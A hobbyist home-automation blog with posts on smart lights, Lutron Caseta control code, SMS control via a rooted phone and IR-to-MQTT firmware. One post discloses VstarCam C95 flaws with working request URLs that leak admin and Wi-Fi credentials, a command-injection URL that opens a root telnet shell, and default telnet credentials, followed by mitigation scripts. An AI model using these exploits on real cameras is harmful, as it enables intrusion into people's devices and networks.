Sunday 3 December 2017

Nanoleaf Aurora


This is what I would call a Smart Decoration! This is one of the coolest lighting products I have seen.

I got this from Best Buy during black Friday for a really good price.

The kit includes the WiFi module, a Rhythm add on module, the power adapter, a bunch of 3M removable command strips, 9 panel linkers, and 9 panels each of which are slightly bigger than the average hand.

The system supports up to 32 (I believe) panel so you can expand as you like.  Each panel has 3 points at which you can install a linker so you can build and design yours to look almost any way you'd like. The app even has a design mode where you can make a virtual layout of any number of panels.

Each panel can be any color and the brightness can be adjusted from 1-100% and it works with Alexa out of the box.

The app is extremely over engineered and give you options for having solid colors or creating moving patterns of your choice of colors, or different effects going to the beat of music with the included Rhythm module.

The colors are so vibrant and bright I cannot get an accurate picture or video of the thing, you just have to see it in person to really appreciate it.   It can make a nice reading light and it acts as a piece of new age smart artwork that can spice up any wall and blend in with your decor.

I really love this thing and I would highly recommend it to anyone looking for a cool gadget that's both fun and functional.   The list price for the kit is a little steep but it does go on sale regularly.

Now for the geeky part! (OK more geeky part)

Unlike many other vendors that try and keep developers out Nanoleaf is 100% on board with developers and has a full open API out for anyone interested in developing for it.

There is this Python module.
And the official API docs from the vendor.

The API uses JSON over HTTP on port 16021.

You have to hold the power button on the device and request a token ID to be granted access to the API, but that only needs to happen once and you will be granted full access with that key until you decide to revoke it.

Not only can you get and set the power, brightness, color and effect states, you can also build your own animations, find out how the panels are laid out (so you can graphically represent them if you want to)

It's very easy to work with the API and integrate it into any existing automation system you have.



SmartLights


I got a Lifx+ bulb on a Black Friday deal.  I was able to get the LifxLAN python module to work pretty easily with one caveat.

It doesn't support giving it the IP of the bulb, you must detect it via UPNP and this will work 99% of the time, HOWEVER if you have multiple subnets/IPs on your NIC or multiple NICs it will pick one to use for broadcasting and you can't tell it which one.   This caused some hair pulling but I eventually realized it was broadcasting to the wrong network, made a quick update to the module and I was up and running within about 5 minutes after that!

Other than that the module is pretty well documented and easy to use.  You will need to do some math to convert between RGB and HSV that is used by the bulb if you want to use a HTML color picker or anything else that uses RGB or hex color codes..

To convert from HSV to RGB use this formula:
h / 65535
s / 65535
v / 65535
r, g, b = colorsys.hsv_to_rgb(h2,s2,v2)
r*255
g*255
b*255

And back:
r / 255
g / 255
b / 255
h,s,v = colorsys.rgb_to_hsv(r,g,b)
h * 65535
s * 65535
v * 65535

You can fully control the IR channel independent of the bulb's color and brightness.  The IR is completely invisible to the eye (unlike night vision security cameras which often glow a dull red) but it also doesn't generate a ton of extra light on my cameras (I tried my phone in a dark room and I tried with the bulb on my front door with my front camera). It helps a little bit if your camera is struggling to see at night, but it's really not worth the extra $20 it costs for the plus model.

It is pretty bright in white mode, I keep the brightness down to 70% by default so my front steps aren't glowing, however once you start turning on colors it gets considerably less bright and I find I need to push it to 100% for it to provide enough light to see by particularly with darker colors like red/orange and even then I find it doesn't provide adequate illumination.

It's able to produce many more colors than my miLight RGB bulb and it's able to push out more lumens in both color and white mode as well as being able to communicate it's brightness and status back to the client, I still don't think you get 4 times the value since you are paying 4 times the price.

I've also had issues with it not being reachable for a few seconds here and there but then it will show up a moment or two later.  I have an access point a few feet away from it so it's not a range issue.

I really can't recommend this product over it's cheap Chinese counterpart.  If it was half the price I would say go for it and that it was a great buy, but I don't feel it's worth the extra expense and I will not be buying more of these bulbs in the future.





F--k you Lutron!


I've expanded my Lutron Caseta system with a 2nd dimmer switch (I'm not a huge fan of the switches, the buttons feel kind of cheap and they can be confusing to use) but they are offer 2-way communication, they work reliably and they do not require a neutral wire which is a big plus.for older homes like mine.

So my Lutron App stopped working a while ago because my hub needed an update which I figured was a bad idea(TM) and since I rarely used the app anyway it didn't seem that important.

Then I decided to do an all around firmware update including the hub and my fears were confirmed.  Since a pro hub that has an API costs twice as much I wasn't really running out to replace what I had.

Lutron has removed the SSH access (well it's still listening on the SSH port but it doesn't accept the key that was floating around the internet anymore) and replaced it's app communication with a SSL based web type service called LEAP.

On the plus side this method is more secure than having a single key that works on every hub, but on the down side you need their server to create a certificate for you now to gain access to the LEAP service.

Fortunately the folks at Home Assistant along with the folks over a Github maintaining the pylutron-caseta module have released an update and a script for fetching the key/cert files for your hub from Lutron.

So first you need to get your private key file, as well as a certificate with your devices MAC in it signed by Lutron and the CA certificate from Lutron.   You will also need the local CA certificate of your hub.  These are all valid until 2038 so you should really only need to do this once if you block your device from internet access which I recommend you do.  I'm not sure what will happen when the certs expire but you may need to offer up a fake NTP server with an old date if Lutron isn't around or has discontinued this service by then.

There is a little Python script you can get here which will have you sign into your Lutron account and get the OAuth string so it can request the required keys and certificates.  It will then write out the files for you.  If you are reading this I suggest you get these files even if you don't need them as they may make it harder to get in the future.

The newest pylutron_caseta on Github has been written for Python 3 and I really don't know enough Py3 to re-write my whole app... I fought with it for a while and I found an intermediate update which will switch the existing Py2.7 code from SSH to SSL, so I have updated my library and re-written a small portion of my code to work with the new one. 

One item of note is that you need to "ping" the hub every once in a while (I believe 15 mins is the timeout) via the web interface or it will stop sending you fresh data and you will need to close and re-open the connection.

I had a hell of a time finding any documentation, support or example code for this library so there was a lot of trial and error involved as well as digging through source and HA's modules.

This code works on both Windows and Linux but you will need Python 2.7.9 or higher as older versions don't support the SSL version used by the hub.

So here is the step by step guide with code:
1) Download the zip from HA linked above to get your 3 certificates and your private key.  Run the script and follow the instructions.  It will confirm it was able to communicate with your bridge and output the following files: caseta.key, caseta-bridge.crt and caseta.crt.

2)  Create the smarbridge.py module with the following code:

# I did not write this code, this came from Github, I just added the ping stuff to it.

"""Provides an API to interact with the Lutron Caseta Smart Bridge."""

import json
import logging
import threading
import ssl
import socket

#from pylutron_caseta import _LEAP_DEVICE_TYPES

_LEAP_DEVICE_TYPES = {'light': ['WallDimmer', 'PlugInDimmer'],
                      'switch': ['WallSwitch'],
                      'cover': ['SerenaHoneycombShade', 'SerenaRollerShade',
                                'TriathlonHoneycombShade',
                                'TriathlonRollerShade', 'QsWirelessShade'],
                      'sensor': ['Pico1Button', 'Pico2Button',
                                 'Pico2ButtonRaiseLower', 'Pico3Button',
                                 'Pico3ButtonRaiseLower', 'Pico4Button',
                                 'Pico4ButtonScene', 'Pico4ButtonZone',
                                 'Pico4Button2Group', 'FourGroupRemote']}



_LOG = logging.getLogger('smartbridge')
_LOG.setLevel(logging.DEBUG)


class Smartbridge:
    """
    A representation of the Lutron Caseta Smart Bridge.

    It uses an SSH interface known as the LEAP server.
    """

    def __init__(self, hostname, keyfile, certfile, ca_certs):
        """Initialize the Smart Bridge."""
        self.devices = {}
        self.scenes = {}
        self._hostname = hostname
        self._keyfile = keyfile
        self._certfile = certfile
        self._ca_certs = ca_certs
        self.logged_in = False
        self._ssl_sock = None
        self._login()
        self._load_devices()
        self._load_scenes()
        _LOG.debug(self.devices)
        _LOG.debug(self.scenes)
        monitor = threading.Thread(target=self._monitor)
        monitor.setDaemon(True)
        monitor.start()
        for _id in self.devices:
            self.get_value(_id)

        self._subscribers = {}

    def add_subscriber(self, device_id, callback_):
        """
        Add a listener to be notified of state changes.

        :param device_id: device id, e.g. 5
        :param callback_: callback to invoke
        """
        self._subscribers[device_id] = callback_

    def get_devices(self):
        """Will return all known devices connected to the Smart Bridge."""
        return self.devices

    def get_devices_by_domain(self, domain):
        """
        Return a list of devices for the given domain.

        :param domain: one of 'light', 'switch', 'cover' or 'sensor'
        :returns list of zero or more of the devices
        """
        devs = []

        # return immediately if not a supported domain
        if domain not in _LEAP_DEVICE_TYPES:
            return devs

        # loop over all devices and check their type
        for device_id in self.devices:
            if self.devices[device_id]['type'] in _LEAP_DEVICE_TYPES[domain]:
                devs.append(self.devices[device_id])
        return devs

    def get_devices_by_type(self, type_):
        """
        Will return all devices of a given device type.

        :param type_: LEAP device type, e.g. WallSwitch
        """
        devs = []
        for device_id in self.devices:
            if self.devices[device_id]['type'] == type_:
                devs.append(self.devices[device_id])
        return devs

    def get_devices_by_types(self, types):
        """
        Will return all devices of for a list of given device types.

        :param types: list of LEAP device types such as WallSwitch, WallDimmer
        """
        devs = []
        for device_id in self.devices:
            if self.devices[device_id]['type'] in types:
                devs.append(self.devices[device_id])
        return devs

    def get_device_by_id(self, device_id):
        """
        Will return a device with the given ID.

        :param device_id: device id, e.g. 5
        """
        return self.devices[device_id]

    def get_scenes(self):
        """Will return all known scenes from the Smart Bridge."""
        return self.scenes

    def get_scene_by_id(self, scene_id):
        """
        Will return a scene with the given scene ID.

        :param scene_id: scene id, e.g 23
        """
        return self.scenes[scene_id]

    def ping(self):
"""
Pings the device to keep alive
"""
        cmd = '{"CommuniqueType":"ReadRequest",' \
              '"Header":{"Url":"/server/1/status/ping"}}\n'
        return self._send_command(cmd)


    def get_value(self, device_id):
        """
        Will return the current level value for the device with the given ID.

        :param device_id: device id, e.g. 5
        :returns level value from 0 to 100
        :rtype int
        """
        zone_id = self._get_zone_id(device_id)
        cmd = '{"CommuniqueType":"ReadRequest",' \
              '"Header":{"Url":"/zone/%s/status"}}\n' % zone_id
        if zone_id:
            return self._send_command(cmd)

    def is_connected(self):
        """Will return True if currently connected to the Smart Bridge."""
        return self.logged_in

    def is_on(self, device_id):
        """
        Will return True is the device with the given ID is 'on'.

        :param device_id: device id, e.g. 5
        :returns True if level is greater than 0 level, False otherwise
        """
        return self.devices[device_id]['current_state'] > 0

    def set_value(self, device_id, value):
        """
        Will set the value for a device with the given ID.

        :param device_id: device id to set the value on
        :param value: integer value from 0 to 100 to set
        """
        zone_id = self._get_zone_id(device_id)
        if zone_id:
            cmd = '{"CommuniqueType":"CreateRequest",' \
                  '"Header":{"Url":"/zone/%s/commandprocessor"},' \
                  '"Body":{"Command":{"CommandType":"GoToLevel",' \
                  '"Parameter":[{"Type":"Level",' \
                  '"Value":%s}]}}}\n' % (zone_id, value)
            return self._send_command(cmd)

    def turn_on(self, device_id):
        """
        Will turn 'on' the device with the given ID.

        :param device_id: device id to turn on
        """
        return self.set_value(device_id, 100)

    def turn_off(self, device_id):
        """
        Will turn 'off' the device with the given ID.

        :param device_id: device id to turn off
        """
        return self.set_value(device_id, 0)

    def activate_scene(self, scene_id):
        """
        Will activate the scene with the given ID.

        :param scene_id: scene id, e.g. 23
        """
        if scene_id in self.scenes:
            cmd = '{"CommuniqueType":"CreateRequest",' \
                  '"Header":{"Url":"/virtualbutton/%s/commandprocessor"},' \
                  '"Body":{"Command":{"CommandType":"PressAndRelease"}}}' \
                  '\n' % scene_id
            return self._send_command(cmd)

    def _get_zone_id(self, device_id):
        """
        Return the zone id for an given device.

        :param device_id: device id for which to retrieve a zone id
        """
        device = self.devices[device_id]
        if 'zone' in device:
            return device['zone']
        return None

    def _send_command(self, cmd):
        """Send a command to the bridge."""
        self._ssl_sock.send(cmd)

    def _monitor(self):
        """Event monitoring loop."""
        while True:
            try:
                # require a certificate from the server
                ssl_output = self._ssl_sock.recv(1)
                response = ssl_output
                while ssl_output != "\n":
                    ssl_output = self._ssl_sock.recv(1)
                    response += ssl_output

                _LOG.debug(response)
                resp_parts = response.split(b'\r\n')
                try:
                    for resp in resp_parts:
                        if resp:
                            resp_json = json.loads(resp.decode("UTF-8"))
                            self._handle_response(resp_json)
                except ValueError:
                    _LOG.error("Invalid response "
                               "from SmartBridge: " + response.decode("UTF-8"))
    except Exception as e:
print "Shit something fucked up!"
print e
            except ConnectionError:
                self.logged_in = False

    def _handle_response(self, resp_json):
        """
        Handle an event from the ssl interface.

        If a zone level was changed either by external means such as a Pico
        remote or by a command sent from us, the new level will appear on the
        SSH shell and the response is handled by this function.

        :param resp_json: full JSON response from the SSH shell
        """
        comm_type = resp_json['CommuniqueType']
        if comm_type == 'ReadResponse':
            body = resp_json['Body']
    try:
    if body['PingResponse'] != "":
print "*PONG*"
return 0
    except:
pass
            zone = body['ZoneStatus']['Zone']['href']
            zone = zone[zone.rfind('/') + 1:]
            level = body['ZoneStatus']['Level']
            _LOG.debug('zone=%s level=%s', zone, level)
            for _device_id in self.devices:
                device = self.devices[_device_id]
                if 'zone' in device:
                    if zone == device['zone']:
                        device['current_state'] = level
                        if _device_id in self._subscribers:
                            self._subscribers[_device_id]()

    def _login(self):
        """Connect and login to the Smart Bridge LEAP server using SSL."""
        if self.logged_in:
            return

        _LOG.debug("Connecting to Smart Bridge via SSL")
        connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # require a certificate from the server
        self._ssl_sock = ssl.wrap_socket(connection,
                                         keyfile=self._keyfile,
                                         certfile=self._certfile,
                                         ca_certs=self._ca_certs,
                                         cert_reqs=ssl.CERT_NONE,
                                         ssl_version=ssl.PROTOCOL_TLSv1_2)

        self._ssl_sock.connect((self._hostname, 8081))
        _LOG.debug("Successfully connected to Smart Bridge.")
        self.logged_in = True

    def _load_devices(self):
        """Load the device list from the SSL LEAP server interface."""
        _LOG.debug("Loading devices")
        self._ssl_sock.send(
            '{"CommuniqueType":"ReadRequest","Header":{"Url":"/device"}}\n')
        ssl_output = self._ssl_sock.recv(1)
        response = ssl_output
        while ssl_output != "\n":
            ssl_output = self._ssl_sock.recv(1)
            response += ssl_output
        _LOG.debug(response)
        device_json = json.loads(response.decode("UTF-8"))
        for device in device_json['Body']['Devices']:
            _LOG.debug(device)
            device_id = device['href'][device['href'].rfind('/') + 1:]
            device_zone = None
            if 'LocalZones' in device:
                device_zone = device['LocalZones'][0]['href']
                device_zone = device_zone[device_zone.rfind('/') + 1:]
            device_name = device['Name']
            device_type = device['DeviceType']
            self.devices[device_id] = {'device_id': device_id,
                                       'name': device_name,
                                       'type': device_type,
                                       'zone': device_zone,
                                       'current_state': -1}

    def _load_scenes(self):
        """
        Load the scenes from the Smart Bridge.

        Scenes are known as virtual buttons in the SSL LEAP interface.
        """
        _LOG.debug("Loading scenes from the Smart Bridge")
        self._ssl_sock.send(
            '{"CommuniqueType":"ReadRequest","Header":'
            '{"Url":"/virtualbutton"}}\n')
        ssl_output = self._ssl_sock.recv(1)
        response = ssl_output
        while ssl_output != "\n":
            ssl_output = self._ssl_sock.recv(1)
            response += ssl_output
        _LOG.debug(response)
        scene_json = json.loads(response.decode("UTF-8"))
        for scene in scene_json['Body']['VirtualButtons']:
            _LOG.debug(scene)
            if scene['IsProgrammed']:
                scene_id = scene['href'][scene['href'].rfind('/') + 1:]
                scene_name = scene['Name']
                self.scenes[scene_id] = {'scene_id': scene_id,
                                         'name': scene_name}

3) Create your main program to do your bidding.  I'll show you how to get started:

import smartbridge, time
# This will open a connection to your bridge. You will need to put in the static IP of your bridge in here #and you can add paths to the crt files in needed.
hub = smartbridge.Smartbridge('IP OF YOUR BRIDGE', 'caseta.key', 'caseta.crt', 'caseta-bridge.crt')
lastping = time.time()
while 1:
            # Check if the hub has been pinged in the last minute, if not go ahead and ping it
    if time.time() > lastping + 60:
print "*PING*"
lastping = time.time()
    hub.ping() # keep alive

fetch = hub.get_devices()   # Grab the whole dict of devices and states from the hub
for item in fetch:
                print fetch[item]   # this will print out the dict of each known device.
                print "Name: %s   Brightness: %s" % (fetch[item]['name'],fetch[item]['current_state']) # this
                   # will print out the name and brightness (0-100) of each device in the list
                hub.set_value(item, 100)  # This will set each item to 100% brightness
                # "Item" in this case is the DID or Device ID, and the 100 above is the brightness level of                          #that  device.  You can  easily check for a specific device 'name' and only alter that device.
                # The Smartbridge module supports other functions too but there doesn't seem to be                                  # documentation on them and I think most use cases don't need them.   This should be                            #enough to get most people started fetching real-time status data and controlling lights, if                        #you want to dig into the code above to see what else it can do be my guest!

4) That should be enough to get you started, if you found this info useful please leave a comment and let me know.

Huge thanks to gurumitts & mdonoughe for their time and effort in figuring this out even though his readme is crap :P

Important Links:
https://github.com/mdonoughe/pylutron-caseta              Github Page for Pylutron_caseta
https://home-assistant.io/components/lutron_caseta/      Home Assistant Lutron Caseta module page


Saturday 7 October 2017

SMS for automation



So the power is out or the internet is down and you still want to be able to control or check on your home, how can you do this??

Answer: Pay as you go plan and a old rooted cell phone!

Required Parts:
- Old Android cell phone (You can get a Nexus 4 with a damaged screen cheap)
- Pay as you go plan (7-11 has a great plan which only costs $25 a year and has unlimited inbound texts)
- UPS to keep your PC up and running during a power failure

Step 1:
Root your phone & enable ADB.
There are a ton of guides out there on how to get root access on almost any phone.
You should turn off logging in SuperSU or it will eventually wreck your flash.
Authorize your PC and make sure the shell has always granted root permissions.

Step 2:
Install SQLite and ShellMS APKs linked here since they can be tough to find.
SQLite will be required to read the SMS database and ShellMS will allow you to send texts in the background without user interaction.
I could not find anyone with a copy of the ShellMS APK, I had to compile it myself from source.  I will link it in here so no one else has to go through the trouble I did.

Step 3:
Write up some code to handle messages sent by SMS.

To send a SMS use the following command:
adb.exe shell am startservice --user 0 -n com.android.shellms/.sendSMS -e contact <phonenumber> -e "<message>"

To check the SMS database:
For unread messages only:
adb.exe shell "su -c \'sqlite3 /data/data/com.android.providers.telephony/databases/mmssms.db \\"select * from sms where read = 0 order by date asc;\\"\'"

For all messages:
adb.exe shell "su -c \'sqlite3 /data/data/com.android.providers.telephony/databases/mmssms.db \\"select * from sms order by date asc;\\"\'"

Monday 28 August 2017

HRV Hijinks and other quick projects

This will be a pretty short post since this isn't really much of a hack and there isn't much to it...

I got a new LifeBreath HRV and the wall control left a little to be desired, and I am too cheap to spend $100 on a digital one WTF is in there you could get a cheap 7" tablet for less than $100 but I digress.

Anyway my control lacked a easy way to set high speed mode and has no timer whatsoever. I had a spare relay on my Pi from my X10 resetter project so I wired the ON and HIGH lines into it and created a MQTT control program which would switch the relay on and off after a specified period of time.  The code is pretty simple but if you want a copy just leave a comment.

Another thing I did was got a few Amazon Echo Dots.  I have an existing web API I can call with commands so I just setup Fauxmo to emulate Wemo devices and I can now control all my automation stuff through Alexa.

Sunday 27 August 2017

VstarCam C95 Insecurity


So the following exploits work on the VstarCam C95

Get Admin Credentials and Config file without authentication:
http://camurl:port/system.ini?loginuse&loginpas
This file contains plain-text username and password for the admin account along with the unique ID of the camera.

http://camurl:port/network.ini?loginuse&loginpas
Will give you the local network config, SSID and WPA key.

Run arbitrary commands once authenticated:

Note: Change the admin username/password to what you got from the file above, this code will open a non password protected telnet server on port 25
http://camurl:port/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0
http://camurl:port/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin

However VstarCam was nice enough to leave a telnet server running with the following credentials:

Username: vstarcam2015                               password: 20150602

Mitigation:

WARNING!! IF YOU DON'T UNDERSTAND WHAT THESE SCRIPTS ARE DOING OR MAKE A MISTAKE YOU COULD EASILY BRICK YOUR DEVICE. THE CHANGES I MADE PERSISTED THROUGH A FACTORY RESET!! YOU HAVE BEEN WARNED!! IF YOU BREAK YOUR DEVICE YOU CAN KEEP BOTH HALVES, I TAKE NO RESPONSIBILITY!!!!!!

You can mitigate most of these problems with some simple startup scripts... There will be a race condition at bootup however where your system is vulnerable... Once started however you can make it so remote users can't get your login and network creds and you can change your telnet password.

Tomorrow I will look at setting up firewall rules to block connections to the web server until the config files are deleted.

Start by coping /system/www/network.ini and /system/www/settings.ini to /system/init/

Create the following files in /system/init/

Undelete.sh (This runs on startup and puts stuff back so it can get on the wifi and the web server can load the proper username and password)

MAKE SURE TO CHANGE THE <YOUR ROOT HASH HERE> part to a valid password hash or you will lock yourself out!
Undelete.sh:
cp /system/init/system.ini /system/www/
cp /system/init/network.ini /system/www/
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 10
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 10
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 10
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 30
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd

/system/init/delete.sh &

delete.sh will run and remove the ini files from the www directory after the system has started... it runs over and over until it doesn't find either file then exits. Then it waits and checks if the files come back every 30 seconds and removes them again.


delete.sh:
if [ -e /system/www/network.ini ]
then
        echo "ok"
        rm /system/www/system.ini
        rm /system/www/network.ini
        sleep 3
        /system/init/delete.sh &


    else
        echo "nok"
fi


if [ -e /system/www/system.ini ]
then
        echo "ok"
        rm /system/www/system.ini
        rm /system/www/network.ini
        sleep 3
        /system/init/delete.sh &
else
        sleep 30
        /system/init/delete.sh &
        exit
fi


exit


Finally modify your ipcam.sh file to run undelete...


ipcam.sh:
export PATH=/system/system/bin:$PATH
telnetd
export LD_LIBRARY_PATH=/system/system/lib:/mnt/lib:$LD_LIBRARY_PATH
mount -t tmpfs none /tmp -o size=3m

/system/init/undelete.sh &

/system/system/bin/upgrade &

/system/system/bin/wifidaemon


As an added measure I've hex edited the /system/system/bin/encoder executable and changed the names of set_ftp.cgi and ftptest.cgi to random characters since I don't use FTP functions anyway.  Though this isn't perfect it will prevent any automated scripts and script kiddies from getting root on my device.


I may also experiment with changing the system.ini file name in the binary as well as the loginuse and loginpas strings so my device will be very different from all the other ones out there, thus further obfuscating this attack surface. I will update this post once I have time to do this.

As a side note I have got much more reliable connections to my camera as well as less random reboots since I made these changes, I'm not sure why at this point, but I'm much happier with it now that it's slightly less vulnerable and more reliable.

Sunday 4 June 2017

Die X10 Die (The X10, The) or How I switched to Lutron Casetta


So I finally did it!

I replaced my last X10 power line device (I still have some X10 RF motion sensors and keypads for the time being).   Probably a good thing too since when I pulled the switch out it had broken in half...

I got the Lutron Casetta dimmer kit from Home Depot. This included a wire in dimmer switch, a mini remote and the wired hub plus all the required hardware.

The wire in dimmer works with LED, incandescent and halogen loads and does not use a neutral wire.  It has 4 buttons on it: On, Brighter, Dimmer and Off and it also has a row of LEDs to indicate the current brightness.   It comes with a screwless (clip on) face plate with a plastic surround which I assume would go in a single gang box as assembled, I needed to put mine in a double gang box so I had to unclip the face plate and unscrew the plastic bezel and it fits perfectly in a standard Decora style cover plate.     It comes with 3 wire nuts (source, load and ground) and mounting screws to attach it to your electrical box.   It's considerably deeper than a regular switch, but smaller than a GFCI or the X10 module I had in there.

Installation is a breeze.  Turn off the breaker, remove the old switch, connect the line and load wires from the old switch to the wires coming out of the Lutron switch with the included wire nuts (You can connect the ground wire if you want but it's just crimped to the part that connects to the box so as long as your box is grounded it should be OK), then use the included screws to attach it to the box and finally clip the face plate on and turn the power back on. So easy even a caveman could do it!

The pico remote is the same size as the paddle of a Decora switch, it's relatively thin and runs on an included coin cell battery (probably a CR2032). It has all the same buttons as the main switch with the addition of a round button between the dimmer buttons which sets the brightness to 50% and a single LED.

It comes attached to a clear wall mounting clip with mounting tape on it. This allows it to be used as a "stick a switch" but can also be easily removed by sliding it out of the holder for portable use and to change batteries.

The last included piece is the wired hub.  It is a little white box and it has a strip along it that lights up white.  It comes with a power adapter, and a network cable.  (It does not support Wi-Fi).  Once you power the hub up and plug it into your network you can download the Lutron app for your phone or tablet and it will locate it and instruct you to press the button on the back of the hub to authorize your phone.

Once the basic setup is complete you will be prompted to pair your devices...  This involves going to the device (remote, wall switch, whatever) and holding the off button for 10 seconds until the lights flash quickly.  They will then be added to your app/hub after you give it a name.

You can assign the remote to scenes or individual devices via the app as well you can touch the light for an on screen remote with an on, off and a dimmer slider for any light on your system.  As well you can program timers with fairly granular control within the app. (Your remote and app can also be paired to work with Sonos systems, some Honeywell smart thermostats and other smart devices)

I've had no range issues and they give you ways of adding plug in modules to repeat the signal if you do run into trouble.

As far as hacking and integration goes, it seems there is a pro version which lets you enable telnet to send and receive commands but this kit seems to only include the standard version.

Fortunately the internets have come to the rescue and given us a certificate for logging into the SSH interface (there is no shell sadly, it's just a raw API type interface over SSH).

I have installed the library "pylutron_caseta" and got it working to the point where it can send and receive commands from the hub.  I get updates every time the switch changes state and can send a level from 0 to 100 (0 being off, 100 being on and 1-99 being a dim level) to control it.

I publish the state of this light to MQTT so my existing infrastructure can read it's current status as well as accept commands via MQTT to set the brightness level.  I also handle my MQTT switch I made earlier within this app the minimize delays and the switch works almost instantly now vs the 1-3 second delay with the old X10 system.

I'm not going to bother posting the code at this point since it's mostly just calling the module with a little bit of magic sauce for the MQTT stuff to work.  If you ended up here looking for a code example just leave me a comment and I will post my code.

Since it works in conjunction with my automation system as well as a motion detector the switch acts similar to a 3-way switch so flipping the switch will toggle the lights to the opposite state rather than having a static on/off position like a normal switch (though I do transmit the physical location of the switch to MQTT so I could easily change that).  When the lights are in a dimmed state, the first flip of the switch will bring the lights to full brightness and then toggle from there on out until they are dimmed again.

And now for the video of the new system working:





Wednesday 19 April 2017

X10 CM19A Hard Resetter Kludge



I have an X10 CM19A USB Transceiver. This lets me send and receive X10 RF signals.. Though I am slowly phasing out my X10 stuff, I have a bunch of stuff I still use that's RF (only 1 powerline device which is next on the list to be replaced). My switches and motion detectors will probably stick around for another few years...

I stripped the antenna and added on a wire running to my duct work, this improved the range significantly!

This device works pretty well, but every so often it stops sending/receiving data from the PC and there's pretty much no way to tell when this happens... This problem persists through a system reboot and is only resolved with an unplug and replug. The issue seems to crop up after a few days to weeks of perfectly fine usage.

I tried to get Windows to turn off the device in software to no avail..

My solution was to automate powering the device down and resetting it...

I got a 2 port relay board and wired it to 5v, GND and 2xGPIO ports on my Raspi.

I also got a USB extension cable and carefully cut it open (It helps if you get a high quality cable, the wires aren't so thin).  I pulled the Red +5v wire out of the twisted set and cut it, then wrapped the rest of the wires in foil tape.  I then added 2 extension wires to either end and put the extension into the NC side of the relay board.

Keeping the inputs high normally keeps the relay off thus leaving the CM19a on, and a scheduled cron job in line with my system reboot time sets the GPIO pin low for 10 seconds to reset the device, then brings it back to high.

IR2MQTT



I wanted a good solution for using my Harmony IR remote with my automation PC for controlling lights and other functions but there isn't a great low cost option since the actual PC is in the basement and the receiver is in my living room...

I have a USB extender and a USB receiver and a remote that only works with the 10 button remote it came with, it also acts as a HID device and Windows won't let me see which keyboard sent the keystrokes or capture them without being in the foreground...

Enjoying my Wemos D1 clone so much, I ordered 4 more :P   I also found out how to properly address the pins, you use D# instead of just an int with a standard Arduino.

I also got this IR receiver kit for less than $2.

Connecting it with the included wires was simple:
+ to 5v, - to GND and S to D4

The following sketch will broadcast the codes as numeric string to the MQTT topic IR2MQTT
You need to set your server IP in the code, then power it up, and it will broadcast a WiFi network for initial setup.

You just need to build a receiver to find codes you care about and then preform an action.
Just subscribe to the topic and press the button on your remote a few times until you see a common code...

/*
 *  IR 2 MQTT with $2 IR module kit
 *
 */

#include <ESP8266WiFi.h>
#include <PubSubClient.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>
#include <WiFiManager.h>
#include <IRremoteESP8266.h>

const char* ssid = "...";   // Not used using WiFiManager
const char* password = "...";  // Not used using WiFiManager



int RECV_PIN = D4; //an IR detector connected to D4

IRrecv irrecv(RECV_PIN);

decode_results results;



//const char* mqtt_server = "broker.mqtt-dashboard.com";    // Public Broker
const char* mqtt_server = "YOUR LOCAL SERVER IP HERE";
WiFiClient espClient;
PubSubClient client(espClient);
long lastMsg = 0;
char msg[50];
int value = 0;

void setup_wifi() {

  delay(10);
  // We start by connecting to a WiFi network
  Serial.println();
  Serial.print("Connecting to ");
  Serial.println(ssid);

  //WiFi.begin(ssid, password);
   WiFiManager wifiManager;
   wifiManager.autoConnect("AutoConnectAP");

  while (WiFi.status() != WL_CONNECTED) {
    delay(500);
    Serial.print(".");
  }

  randomSeed(micros());

  Serial.println("");
  Serial.println("WiFi connected");
  Serial.println("IP address: ");
  Serial.println(WiFi.localIP());  
  irrecv.enableIRIn(); // Start the receiver

}

void callback(char* topic, byte* payload, unsigned int length) {
  Serial.print("Message arrived [");
  Serial.print(topic);
  Serial.print("] ");
  for (int i = 0; i < length; i++) {
    Serial.print((char)payload[i]);
  }
  Serial.println();

  // Switch on the LED if an 1 was received as first character
  if ((char)payload[0] == '1') {
    digitalWrite(BUILTIN_LED, LOW);   // Turn the LED on (Note that LOW is the voltage level
    // but actually the LED is on; this is because
    // it is acive low on the ESP-01)
  } else {
    digitalWrite(BUILTIN_LED, HIGH);  // Turn the LED off by making the voltage HIGH
  }

}

void reconnect() {
  // Loop until we're reconnected
  while (!client.connected()) {
    Serial.print("Attempting MQTT connection...");
    // Create a random client ID
    String clientId = "ESP8266Client-";
    clientId += String(random(0xffff), HEX);
    // Attempt to connect
    if (client.connect(clientId.c_str())) {
      Serial.println("connected");
      // Once connected, publish an announcement...
      //client.publish("outTopic", "hello world");
      // ... and resubscribe
      client.subscribe("inTopic");
    } else {
      Serial.print("failed, rc=");
      Serial.print(client.state());
      Serial.println(" try again in 5 seconds");
      // Wait 5 seconds before retrying
      delay(5000);
    }
  }
}

void setup() {

  Serial.begin(115200);

  // Bring up MQTT
  pinMode(BUILTIN_LED, OUTPUT);     // Initialize the BUILTIN_LED pin as an output
  setup_wifi();
  client.setServer(mqtt_server, 1883);
  client.setCallback(callback);




}

void loop() {
  // MQTT
 if (!client.connected()) {
    reconnect();
  }
  client.loop();



  // IR

    if (irrecv.decode(&results)) {
    //Serial.println(results.value, HEX);
    unsigned long buffer;
    buffer = results.value;
    String numberString = String(buffer);
    char charBuf[50];
    numberString.toCharArray(charBuf, 50);
 
    Serial.println(buffer);
 
    client.publish("IR2MQTT",  charBuf);
    irrecv.resume(); // Receive the next value
  }

  }

Monday 10 April 2017

Prototype Switch

This is a prototype switch I have started working on...

It was based on this guys work: http://www.echotwek.com/wp/2014/03/20/arduino-controlled-light-switch-v2

I had a Leviton Decora switch P/N 5601 from Home Depot lying around and I was going to try this mod, when I popped the rocker off with a flat blade screwdriver I noticed there were rivet holes drilled right through from behind the rocker all the way out the back cover and grounded.
